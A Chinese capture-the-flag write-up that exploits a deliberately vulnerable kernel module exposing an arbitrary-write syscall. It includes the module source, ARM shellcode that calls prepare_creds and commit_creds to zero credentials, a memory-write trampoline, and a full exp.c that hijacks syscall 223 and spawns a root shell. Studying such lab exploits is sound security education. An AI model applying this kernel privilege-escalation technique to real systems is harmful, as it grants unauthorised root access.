// adding a new system call : sys_upper
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>
#define SYS_CALL_TABLE 0x8000e348 // manually configure this address!!
#define NR_SYS_UNUSED 223
//Pointers to re-mapped writable pages
unsigned int** sct;
asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
return 0;
}
static int __init initmodule(void ){
sct = (unsigned int**)SYS_CALL_TABLE;
sct[NR_SYS_UNUSED] = sys_upper;
printk("sys_upper(number : 223) is added\n");
return 0;
}
static void __exit exitmodule(void ){
return;
}
module_init( initmodule );
module_exit( exitmodule );
这题就是提供了一个可以write-anything-anywhere
的系统调用(也不算anything,有点限制),系统调用的地址存在0x8000e348+223 = 0x8000e6c4
, flag在/root/flag
.
按理说应该不难,但是我做了很久。后来想了一下,主要是内联汇编不熟(没有写好 clobbers 导致各种崩)。再就是没有深入理解 Linux 的权限控制机制,一开始想当然的觉得 kernel space 就肯定有 root 权限,后来发现就算用了系统调用,跑到奇怪的地址上执行,uid 还是这个进程的 uid1. 所以尝试的 open-read-write
, chown()
各种都已失败告终,权限不够。直接在 kernel space execve()
的我也是想多了。
其实思路还是挺简单的,首先修改 223 号系统调用的内容,然后调用这个修改过的 223 号系统调用,在 kernel space 把 uid 改掉,之后在 user space execve()
就好了。
在现在版本的 Linux 内核修改 uid,需要通过prepare_creds()
和commit_creds()
两步2。这两个函数的地址存在/proc/kallsyms
:
$ cat /proc/kallsyms | grep 'prepare_creds\|commit_creds'
8003f44c T prepare_creds
8003f56c T commit_creds
...
我参考 @acama 的版本3写了一个( @acama 的版本prepare_creds()
之后直接就commit_creds()
, 这估计只在老版本可以).prepare_creds()
返回的结构体定义可以看参考4.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@ prepare_creds and commit_creds
.section .text
.global _start
_start:
push {lr}
mov r0, #0
ldr r3, =0x8003f44c @ prepare_creds()
blx r3
push {r0}
sub r1, r1, r1
add r0, #4
str r1, [r0], #4 @ set uid, euid, gid, etc
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
pop {r0}
ldr r3, =0x8003f56c @ commit_creds(r0)
blx r3
pop {lr}
bx lr
这个生成的指令是不能用原先的 223 号系统调用直接写进内存的,所以我准备了一个真正的write-anything-anywhere
的跳板:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@ Write anything anywhere
.section .text
.global _start
_start:
lp:
ldrb r3, [r0], #1
strb r3, [r1], #1
subs r2, r2, #1
bge lp
bx lr
先把 waa 写进内存,然后把 cred 写进内存。至于写到哪里,我随手写了两个地址: 0x83f5cafe, 0x83f6beee.
exp.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char cred[] = "\x04\xe0\x2d\xe5\x00\x00\xa0\xe3\x40\x30\x9f\xe5\x33\xff\x2f\xe1\x04\x00\x2d\xe5\x01\x10\x41\xe0\x04\x00\x80\xe2\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x00\x9d\xe4\x0c\x30\x9f\xe5\x33\xff\x2f\xe1\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x4c\xf4\x03\x80\x6c\xf5\x03\x80";
char waa[] = "\x01\x30\xd0\xe4\x01\x30\xc1\xe4\x01\x20\x52\xe2\xfb\xff\xff\xaa\x1e\xff\x2f\xe1";
char addr1[] = "\xfe\xca\xf5\x83";
char addr2[] = "\xee\xbe\xf6\x83";
int ret;
int main()
{
asm volatile (
"mov r0, %1\n"
"mov r1, %2\n"
"mov r7, #223\n"
"svc #0\n"
"mov r0, %3\n"
"mov r1, %4\n"
"mov r7, #223\n"
"svc #0\n"
"mov %0, r0"
: "=r" (ret)
: "r" (waa), "r" (0x83f5cafe),
"r" (addr1), "r" (0x8000e6c4)
: "r0", "r1", "r2", "r3", "lr"
);
printf("return value: %x\n", ret);
asm volatile (
"mov r0, %1\n"
"mov r1, %2\n"
"mov r2, %3\n"
"mov r7, #223\n"
"svc #0\n"
"mov r0, %4\n"
"mov r1, %5\n"
"mov r2, %6\n"
"mov r7, #223\n"
"svc #0\n"
"mov %0, r0"
: "=r" (ret)
: "r" (cred), "r" (0x83f6beee), "r" (89),
"r" (addr2), "r" (0x8000e6c4), "r" (5),
"r" (0)
: "r0", "r1", "r2", "r3", "r5", "lr"
);
printf("return value: %x\n", ret);
asm volatile (
"mov r7, #223\n"
"svc #0\n"
"mov %0, r0"
: "=r" (ret)
:
: "r0", "r1", "r3", "lr"
);
execl("/bin/sh", "sh", NULL);
return 0;
}